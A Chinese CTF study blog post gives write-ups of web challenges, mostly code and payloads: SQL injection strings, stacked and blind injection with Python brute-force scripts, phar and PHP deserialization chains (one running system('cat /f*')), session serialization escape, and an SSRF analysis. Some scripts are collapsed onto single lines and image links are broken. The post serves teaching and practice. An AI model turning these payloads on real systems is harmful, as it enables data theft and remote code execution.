暑期第三周(7.28-8.3)

发布于:2025-08-05 ⋅ 阅读:(22) ⋅ 点赞:(0)

其实

web

[SWPUCTF 2021 新生赛]easy_sql

开启环境后看到一个提示“球球你输入点东西吧!”没有其他信息,就看看源码

直接试试get传参

有所显示

看看是字符型还是数字型

可以判定是字符型

接下来判断闭合类型

根据显示,可以得知是单引号闭合类型

然后查字段

4显示不在,那就往下减

说明字段数是2

查看回显位

查库名

查表名

?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db' --+

查列名

?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='test_tb' --+

这里看到了flag

查看内容

[suctf 2019]EasySQL   (堆叠注入)

先来进行简单的尝试

输入1输入1\就是空白

再试试引号,单引号空白,双引号:  

这里就能推测是有黑名单之类的东西

而且输入1\没有回复,说明没有报错提醒,就没办法利用报错信息,报错注入就不可以用了

最后使用堆叠注入

列出服务器上的所有数据库

1;show databases;#

接下来我们只能碰运气的走下去

首先就试试ctf吧

查ctf数据库下的表名

1;use ctf;show tables;#

居然有flag

但是当我们继续下一步

这里我依次尝试了下面的语句

1;use ctf;describe Flag;#
1;use ctf;show columns from Flag;#
1;use ctf;select flag from Flag;#
1 union select 1,flag from ctf.Flag#

都显示NOnono

这里想着去看一下源码吧,结果貌似也没有很有用

看看别人的呢

这道题目需要我们去对后端语句进行猜解

1、输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有||

2、也就是select 输入的数据||内置的一个列名 from 表名=>即为

后台语句为:select $post['query']||flag from Flag

所以我们要解决的问题是  || 或这个问题

测试语句:1;set sql_mode=PIPES_AS_CONCAT;select 1

拼接效果为:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag

  •  关于 sql_mode : 它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的PIPES_AS_CONCAT将 ||视为字符串的连接操作符而非 “或” 运算符
  • 在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。
  • 但在mysql 缺省不支持。需要调整mysql 的sql_mode
  •  模式:pipes_as_concat 来实现oracle 的一些功能

 这个就可以解决||带来的问题了

select 1||flag from Flag呢,看起来没有遇见过,但是就是相当于在表后面加一列 1

还有一个非预期解 *,1   好像是因为没有过滤*而造成的,拼接后不难理解

[SWPU 2018]SimplePHP

开启环境,好干净的页面上传文件界面

查看文件界面看地址栏是可以查看文件的

我们就在这里来查看一下文件

先看看index.php,file.php,upload_file.php这三个已知文件吧

有一个base.php文件看到flag,想直接去看,但是接下来看看file.php

file.php下面有两个文件,function.php和class.php

这里先来分析一下这个代码

这是一个关于上传文件的代码

当我们上传文件时,文件后缀有所限制(gif,jpeg,jpg,png)

上传成功,文件名被修改,原始文件名进行md5加密【md5(原文件名 + 用户IP)】 ,然后后缀为.jpg,再将文件移动到/upload文件夹下

再看看class.php

 <?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?> 

代码结构分析

  1. C1e4r类​:

    • __destruct()方法会将$str赋值给$test并输出,可能触发其他魔术方法。
  2. Show类​:

    • __toString()方法会在对象被当作字符串使用时触发
    • _show()方法存在文件读取功能,但有危险协议过滤
    • __wakeup()方法会在反序列化时触发,也有危险协议过滤
  3. Test类​:

    • file_get()方法可以读取任意文件内容(关键漏洞点)
    • 通过__get()魔术方法实现链式调用

本题中file.php使用了file_exists()函数,触发phar反序列化

img

构造pop链

C1e4r类的__destruct()中有echo $this->test;,触发Show类的__toString(),而该函数中的$content = $this->str['str']->source;,又可以继续触发Test类中的__get(),因为Test类中没有source属性

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct()
    {
        $this->str = new Show();
    }

}
class Show
{
    public $source;
    public $str;
    public function __construct()
    {
        $this->str=array('str'=>new Test());
    }


}

class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array('source'=>'/var/www/html/f1ag.php');
    }
}

$a=new C1e4r();
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置sutb
$phar->setMetadata($a);//将自定义的meta-data存入manifest
$phar->addFromString("1.txt","123123>");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
@unlink('./phar.jpg');
rename("./phar.phar","./phar.jpg");

 将代码写入phar.jpg

然后上传文件

再用phar协议去访问该文件,得到base64编码的flag

[极客大挑战 2020]greatphp

这段代码的主要逻辑:

  1. ​**SYCLOVER 类**​:

    • 包含两个属性 $syc 和 $lover
    • __wakeup() 魔术方法在反序列化时触发,检查以下条件:
      • $this->syc != $this->lover(值不同)
      • md5($this->syc) === md5($this->lover)(MD5 哈希相同)
      • sha1($this->syc) === sha1($this->lover)(SHA1 哈希相同)
      • $this->syc 不包含 <?php()"' 等字符
    • 如果条件满足,执行 eval($this->syc)(任意代码执行)。
  2. 反序列化入口​:

    • 通过 $_GET['great'] 接收用户输入,并调用 unserialize()

在类里,无法用数组进行md5绕过,所以用Error类绕过md5和sha1检测

先来测试一下ab的值

<?php
$a = new Error("payload", 1);$b = new Error("payload", 2);//注意这里需要写在一行上
echo $a;
echo "<br>";
echo $b;
echo "<br>";
if ($a != $b) {
    echo "a!=b";
}
echo "<br>";
if (md5($a) === md5($b)) {
    echo "md5相等" . "<br>";
}
if (sha1($a) === sha1($b)) {
    echo "sha1相等";
}

 ok,可以

那么就写payload

由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接include "/flag"将flag包含进来即可;由于过滤了引号,于是在这里进行取反,这样解码后就自动是字符串,无需再加双引号或单引号。

而且eval执行带有完整标签的语句需要先闭合,就类似于将字符串当成代码写入到源码中。

所以最后的payload:

<?php

class SYCLOVER
{
    public $syc;
    public $lover;

    public function __wakeup()
    {
        if (($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc) === sha1($this->lover))) {
            if (!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)) {
                eval($this->syc);
            } else {
                die("Try Hard !!");
            }

        }
    }
}

$cmd = '/flag';
$s = urlencode(~$cmd);
$str = "?><?=include~" . urldecode($s) . "?>";
$a = new Error($str, 1);$b = new Error($str, 2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

?>

将运行结果get传参给great

[安洵杯 2019]easy_serialize_php

开启环境点开看看

源码,并且地址栏可以看到可以进行get传参

核心逻辑如下:

  1. ​**filter() 函数**​:

    • 过滤 phpflagphp5php4fl1g 等关键词,替换为空。
    • 例如:filter("flag.php") → .php
  2. ​**$_SESSION 处理**​:

    • 默认设置 $_SESSION["user"] = "guest"
    • $_SESSION["function"] = $function(来自 $_GET['f'])。
    • $_SESSION["img"] 由 $_GET['img_path'] 决定:
      • 如果 img_path 未提供,默认 base64_encode("guest_img.png")
      • 否则,计算 sha1(base64_encode($_GET['img_path']))
  3. ​**extract($_POST)**​:

    • 将 $_POST 数据直接提取为变量,导致变量覆盖
  4. 功能分支​:

    • highlight_file:显示当前文件源码。
    • phpinfo:执行 phpinfo(),可能泄露敏感信息。
    • show_image:反序列化 $serialize_info 并读取文件内容。  

变量覆盖

extract($_POST);

使用这个,我们可以任意post东西上去,覆写任意变量。
比如我们post一个SESSION['haha'] = 1, 这个时候原来SESSION的user,function和img项全部会消失,SESSION会只剩一个haha项,值为1
当然,如果我们post三个值user,function和img项上去,就可以替换原来的值
这里倒没有那么方便,因为img的处理是在post之后进行的。 


这里找到了提示

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

这里用到的知识点是php反序列化逃逸

上面提示如果传入phpinfo的话就会eval执行phpinfo

payload:

index.php?f=phpinfo

这样就会触发phpinfo界面,先进去看看会不会有有用信息

直接搜flag或者fl没有办法找到,也就是说没有flag

然后换了一个想法,搜f1

再来触发一下show_image

$userinfo['img']只进行了base64解码,结合前面我们需要让guset_img.png逃逸

继续跟进$userinfo['img']的入口,$userinfo = unserialize($serialize_info);  $serialize_info = filter(serialize($_SESSION));

所以是$_SESSION序列化后被filter函数处理,再反序列化赋给userinfo,最后取出img这个键对应的值

反序列化

<?php
$_SESSION["user"] = '*';
$_SESSION['function'] = '**';
$_SESSION['img'] = base64_encode('guest_img.png');
echo serialize($_SESSION);
?>

因为我们要让guest_img.png逃逸换成,那我们function就应该为;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";},让前面user的值被filter()函数替换掉,让";s:8:"function";s:40:这22个字符成为user的值,img成为一个键,但是本来是有三个键,因此我们这里还需要自己写一个键,最终结果为

<?php
$_SESSION["user"] = 'phpphpphpflagphpphpphp';
$_SESSION['function'] = ';s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}';
$_SESSION['img'] = base64_encode('guest_img.png');
echo serialize($_SESSION);
?>

a:3:{s:4:”user”;s:22:”phpphpphpflagphpphpphp”;s:8:”function”;s:56:”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==“;s:1:”a”;s:1:”a”;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==“;}

经过filter函数处理后 a:3:{s:4:”user”;s:22:””;s:8:”function”;s:56:”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==“;s:1:”a”;s:1:”a”;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==“;}

那么POST传入参数

_SESSION[user]=phpphpphpflagphpphpphp&_SESSION[function] =;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}

查看源码发现flag在/d0g3_fllllllag中,base64编码后再次传参读取即可

_SESSION[user]=phpphpphpflagphpphpphp&_SESSION[function] =;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:"a";}

[LitCTF 2023]这是什么?SQL !注一下 !

先直接输入1其实在左下角有关键提示 ,这就直接告诉我们sql语句

给出的sql语句可以看出闭合方式是(((((())))))

然后id=1时username=tanji,password=OHHHHHH

试试别的id

id=2

利用已知的闭合方式来进行尝试

 成功

字段数就不用再查了,前面的就能看出是两个字段

查回显位

查库名看看那个ctf吧

查表名

-1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

查列名

-1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"--+

有三列,分别是:id,username,password

查询列中的所有内容
-1)))))) union select username,password from users--+

 

这里一看就没有flag

换个数据库

但是我们需要先找找,show查询走不通,用select

-1)))))) union select 1,schema_name from information_schema.schemata--+

 这里注意到ctftraining

查询 ctftraining 数据库的所有表名、列名

查询 ctftraining 数据库的所有表名:

-1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctftraining"--+

看到了flag

 查询 flag 表的所有列名:

-1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema="ctftraining" and table_name="flag"--+

查内容

-1)))))) union select 1,flag from ctftraining.flag--+

[FSCTF 2023]ez_php1

第一层,数组绕过

image-20231023164517232

第二层

把KEY值序列化就行

image-20231023164609435

第三层

P0int.php,是一个简单的反序列化,调用函数的时候读取了flagbase64值并赋值给了a变量,但是__destruct函数中输出的确实b的值,所以将b绑定为a的地址即可

<?php
class Clazz
{
    public $a;
    public $b;
    public function __construct()
    {
        $this->b = &$this->a;
    }

    public function __wakeup()
    {
        $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
    }
    public function __destruct()
    {
        echo $this->b;
    }
}
$c = new Clazz();

echo serialize($c);
//data=O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}

image-20231023164727064

解个base就可以得到flag

[MoeCTF 2022]ezphp

开启环境

 首先对php代码进行审计:

$flag=’xxxxxxx‘可不是代表flag的值是xxx,这段代码是通过第一行的代码:highlight_file('source.txt');把source.txt中的内容显示在了界面上,真实flag的值隐藏了起来,这里专门写出的意义是提醒同学们最后要得到的flag在$flag中。

这一行代码首先使用isset()函数检查$_GET['flag']和$_POST['flag']两个变量是否存在。如果两者都不存在,则执行exit($giveme),脚本输出$giveme变量的值并终止执行。

这一行代码检查$_POST['flag']和$_GET['flag']两个变量是否等于字符串'flag'。如果其中任何一个变量的值为'flag',则执行exit($getout),脚本输出$getout变量的值并终止执行。值得注意的是这里的判断是===。

这部分代码使用foreach分别循环遍历$_POST数组和$_GET数组。对于每个键值对,在$_POST数组中,将键作为变量名,将对应的值作为变量值。在$_GET数组中,对于每个键值对,将值作为变量名,并将对应变量的值赋给当前循环的变量。这里是题的关键所在,如何理解这个$$,可以参照下例:

让我们假设URL为:http://example.com?name=John&age=25

在这种情况下,$_GET数组如下:

$_GET = array(
  'name' => 'John',
  'age' => '25'
);

现在,如果我们使用该foreach循环来遍历$_GET数组: 

foreach ($_GET as $key => $value) {
    $$key = $value;
}

该循环将创建两个变量$name$age,并将它们的值分别设置为’John’和’25’。

因此,上述代码等效于以下赋值操作:

$name = 'John';
$age = '25';

现在,我们可以直接使用这些变量$name$age来访问相应的值:

echo $name;  // 输出:John
echo $age;   // 输出:25

理解之后,在加上之前的判断,我们可以得出答案:?a=flag&flag=a.

 实际的过程是$a = $flag,随后$flag = $a = $flag,即flag的值没有发生变化,且满足上述的需求。

[FSCTF 2023]ez_php2

点开之后是一段php代码

 <?php
highlight_file(__file__);
Class Rd{
    public $ending;
    public $cl;

    public $poc;
    public function __destruct()
    {
        echo "All matters have concluded";
        die($this->ending);
    }
    public function __call($name, $arg)
    {
        foreach ($arg as $key =>$value)
        {

            if($arg[0]['POC']=="1111")
            {
                echo "1";
                $this->cl->var1 = "system";
            }
        }
    }
}


class Poc{
    public $payload;

    public $fun;

    public function __set($name, $value)
    {
        $this->payload = $name;
        $this->fun = $value;
    }

    function getflag($paylaod)
    {
        echo "Have you genuinely accomplished what you set out to do?";
        file_get_contents($paylaod);
    }
}

class Er{
    public $symbol;
    public $Flag;

    public function __construct()
    {
        $this->symbol = True;
    }

    public function __set($name, $value)
    {
        $value($this->Flag);
    }


}

class Ha{
    public $start;
    public $start1;
    public $start2;
    public function __construct()
    {
        echo $this->start1."__construct"."</br>";
    }

    public function __destruct()
    {
        if($this->start2==="11111") {
            $this->start1->Love($this->start);
            echo "You are Good!";
        }
    }
}


if(isset($_GET['Ha_rde_r']))
{
    unserialize($_GET['Ha_rde_r']);
} else{
    die("You are Silly goose!");
}
?> You are Silly goose!

首先我们审计这段代码。

这段代码主要定义了四个类(Rd、Poc、Er、Ha),并通过检查 $_GET 参数来决定是否进行反序列化操作。如果存在特定的 $_GET 参数,则尝试反序列化其值,否则输出 “You are Silly goose!”。

以下是对代码的详细解读:

 <?php
highlight_file(__file__);    这个函数会高亮显示
当前文件的代码内容,通常用于调试或展示代码结构,但
在生产环境中一般不应该使用,因为它可能会暴露敏感信息。
Class Rd{   定义了一个名为Rd的类。
    public $ending;
    public $cl;
    public $poc;声明了三个公共属性
    public function __destruct() __destruct()魔术
    方法:当对象被销毁时会触发这个方法。它会输出 “All
     matters have concluded”,然后使用die()函数终
     止程序并输出ending属性的值。
    {
        echo "All matters have concluded";
        die($this->ending);
    }
    public function __call($name, $arg)__call()魔
    术方法:当调用一个不可访问的方法时会触发这个方法。
    这里它遍历传入的参数,如果参数中的某个元素的键为
    POC且值为 “1111”,则输出 “1”,并将cl属性的var1
    属性设置为 “system”。
    {
        foreach ($arg as $key =>$value)
        {

            if($arg[0]['POC']=="1111")
            {
                echo "1";
                $this->cl->var1 = "system";
            }
        }
    }
}


class Poc{   定义了一个名为Poc的类。
    public $payload;
    public $fun;声明了两个公共属性。
    public function __set($name, $value) __set()
    魔术方法:当给一个不可访问的属性赋值时会触发这个
    方法。它将传入的属性名和值分别赋值给payload和fun属性。
    {
        $this->payload = $name;
        $this->fun = $value;
    }
    function getflag($paylaod)  getflag()方法:输
    出一段文本,然后使用file_get_contents()函数尝试
    获取传入参数所指定的文件内容。如果传入的参数是恶
    意的,可能会导致安全问题,例如读取敏感文件。
    {
        echo "Have you genuinely accomplished what you set out to do?";
        file_get_contents($paylaod);
    }
}

class Er{  定义了一个名为Er的类
    public $symbol;
    public $Flag;声明了两个公共属性。
    public function __construct() __construct()构
    造方法:将symbol属性初始化为True。
    {
        $this->symbol = True;
    }

    public function __set($name, $value)__set()魔
    术方法:当给一个不可访问的属性赋值时会触发这个方法。
    它会将传入的值作为函数调用,并将Flag属性作为参数传
    入这个函数。如果传入的值是恶意的函数,可能会导致安全问题。
    {
        $value($this->Flag);
    }


}

class Ha{   定义了一个名为Ha的类。
    public $start;
    public $start1;
    public $start2;声明了三个公共属性。
    public function __construct() __construct()
    构造方法:输出start1属性的值和 “__construct” 
    以及一个换行符。
    {
        echo $this->start1."__construct"."</br>";
    }

    public function __destruct()  __destruct()魔术
    方法:当对象被销毁时会触发这个方法。如果start2属
    性的值为 “11111”,则调用start1属性的Love()方法,
    并传入start属性作为参数,然后输出 “You are Good!”。
    {
        if($this->start2==="11111") {
            $this->start1->Love($this->start);
            echo "You are Good!";
        }
    }
}


if(isset($_GET['Ha_rde_r']))
{
    unserialize($_GET['Ha_rde_r']);
} else{
    die("You are Silly goose!");
}检查是否存在$_GET['Ha_rde_r']参数。如果存在,则对
其进行反序列化操作;如果不存在,则输出 “You are Sil
ly goose!”。这里的反序列化操作如果传入的参数被恶意构
造,可能会导致安全问题,例如对象注入攻击。
?> You are Silly goose!

开始找链子,入口在Ha里面。触发__destruct方法后,给start2赋值"11111",然后进入如下语句:

$this->start1->Love($this->start);

使得其触发__call方法,然后给start赋值[‘POC’=>‘1111’]
进入if语句,然后通过其中的var1触发__set方法
然后value就成为了system,修改$Flag就可以修改执行的命令了

然后我们构造如下脚本:

<?php
Class Rd{
    public $cl;
}
class Er{
    public $Flag='cat /f*';
}
class Ha{
    public $start;
    public $start1;
    public $start2="11111";
}

$a=new Ha();
$a->start1=new Rd();
$a->start=['POC'=>'1111'];
$a->start1->cl=new Er();
echo serialize($a);
?>

运行之后得到:
 我们构造payload:

?Ha_rde_r=O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":1:{s:2:"cl";O:2:"Er":1:{s:4:"Flag";s:7:"cat /f*";}}s:6:"start2";s:5:"11111";}

然后我们打开HackBar 运行之后得到flag: 

[网鼎杯 2018]Fakebook

进入页面,常规审计F12无发现,这边先扫一下有无泄露扫目录,发现存在robots.txt和flag.php,访问后发现源码泄露/user.php.bak

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

curl_init(url)函数,初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。参数url如果提供了该参数,CURLOPT_URL 选项将会被设置成这个值。

curl_setopt ( resource $ch , int $option , mixed $value ) 设置 cURL 传输选项,为 cURL 会话句柄设置选项。参数:
ch:由 curl_init() 返回的 cURL 句柄。
option:需要设置的CURLOPT_XXX选项。(CURLOPT_URL:需要获取的 URL 地址,也可以在curl_init() 初始化会话的时候。使用 CURLOPT_RETURNTRANSFER 后总是会返回原生的(Raw)内容。)
value:将设置在option选项上的值。

curl_getinfo — 获取一个cURL连接资源句柄的信息,获取最后一次传输的相关信息。

经过分析可得:
1,注册界面输入的blog经过了isValidBlog()函数的过滤,不然直接在注册界面blog处输入file:///var/www/html/flag.php就能拿到flag。

2,get()函数存在ssrf漏洞。

显然存在ssrf漏洞,并且拼接入我们的url就是我们注册的时候输入的url,但是显然是有waf的,所以我们就不能够直接利用。。没有WAF直接在注册界面输入file:///var/www/html/flag.php就能拿到我们想要的flag。所以,我们的思路是,把flag的路径赋给blog,经过一系列操作最后会返回flag.php的内容。

[WEEK2]easy_sql -- 无列名盲注

o!看了wp才知道就是union无列名注入 小问题 出来就好!!嘿嘿

分析

打开题目,发现页面的回显只有:1的、错误、error 三种 可以考虑盲注了

and && ^ # --+ 都被过滤

  • 盲注的话考虑:与、异或、按位或、按位与
  • 没有办法闭合考虑 or ||

sql中字符数字可以和数字进行按位或

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4oiShfqr-1666973111143)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026232213666.png)]

构造 1'|1||' 正确回显 1'|2||' 错误回显

然后进行爆破数据库长度

发现数据库的长度是3

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u0wNKgDJ-1666973111143)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026174631076.png)]

进一步尝试,order、information_schema都被过滤

information_schema 被过滤 -> 无列名注入

order 被过滤 -> group 替换

爆破数据库的列数,3列


1'group/**/by/**/3,' 前面的'闭合1前的' 后面的是闭合之前有的' 加上,分开 因为过滤了# 和 + 无法注释 而order by group by要在最后 使用,分割 select * from xx where id = '1'group by 5,'2'

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k1IXrpJS-1666973111143)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026193545902.png)]

information_schema.table被过滤 可以使用 mysql.innodb_table_stats

脚本爆破一下表的名字 得出 ccctttfff


def get_cloumns(): count = 1 flag = '' while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) if success in resp.text: flag += chr(i) print(flag) count += 1 break elif i == 126: return False time.sleep(0.05)

下面无列名爆破数据


select 1,2,3 union select * from ccctttfff

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QmKgz93H-1666973111144)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026194312863.png)]

这样以来 1 2 3 分别对应一列 二列 三列 的列名

然后


select group_concat(`1`,'-',`2`,'-',`3`) from (select 1,2,3 union select * from ccctttfff)a select(group_concat(`3`))from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/ccctttfff)a

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fMfggjyA-1666973111144)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026194427324.png)]

这样就可以在没有列名的情况下查询到数据库信息

然后我们开始盲注


1'|if(ascii(substr((select(group_concat(`3`))from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/ccctttfff)a),1,1))=55,1,2)||'

运行了好多遍 遍历出来的三列分别是


 

# 第一列 1 # 第二列 bob # 第三列 I am so handsome

呜呜呜,跑了好多遍,终于怀疑:出题人是不是没有把flag放到这数据库

重新跑所有的数据库库名

qwq,原谅我太菜

跑出来有两个数据库

ctf
ccctttfff


# 这个脚本的缺点:半自动 但是跑出来的表不会重复 需要修改 # limit 0,1 =>第一个数据库 # limit 1,1 =>第二个数据库 # ...... def get_all_database(): flag = '' count = 1 while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select/**/database_name/**/from/**/mysql.innodb_table_stats/**/group/**/by/**/database_name/**/LIMIT/**/0,1),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) if success in resp.text: flag += chr(i) print(flag) break elif i == 126: return False time.sleep(0.1) count += 1 # 这个脚本的缺点:有多少个表 就会跑多少个数据库 数据库会重复 def get_all_database(): flag = '' count = 1 while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select/**/group_concat(database_name)from/**/mysql.innodb_table_stats),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) if success in resp.text: flag += chr(i) print(flag) break elif i == 126: return False time.sleep(0.1) count += 1

第一个脚本结果:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Dkp2cagP-1666973111144)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221027113412616.png)]

第二个脚本结果:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-g55lVKlk-1666973111145)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221027113035256.png)]

然后我跑的是所有的表名

因为知道ccctttff属于ctf,那么跑出来的其余的都是ctftraining的


# 结果: # ctf:ccctttfff # ctftraining:flag,news,users,gtid_slave_pos def get_tables(): count = 1 flag = '' while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) if success in resp.text: flag += chr(i) print(flag) count += 1 break elif i == 126: return False time.sleep(0.05)

我是估计flag就在flag表里面,但是把无列名查询我们要知道表中具体的列数的 我们又不知道flag表多少列

我查了资料也没找到,因为information_schema被过滤,有大佬知道可以说下的!

然后就是靠懵了

比赛中表的列数一般会小于10 也就 3 4 5左右

我是从1开始试的


1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'

脚本


def get_values(): count = 1 flag = '' while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) print(i) if success in resp.text: flag += chr(i) print(flag) count += 1 break elif i == 126: return False time.sleep(0.05)

最后也是跑出来了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oBfMminE-1666973111145)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221027114429123.png)]

PS:这个题挺鸡贼的哈哈哈


网站公告

今日签到

点亮在社区的每一天
去签到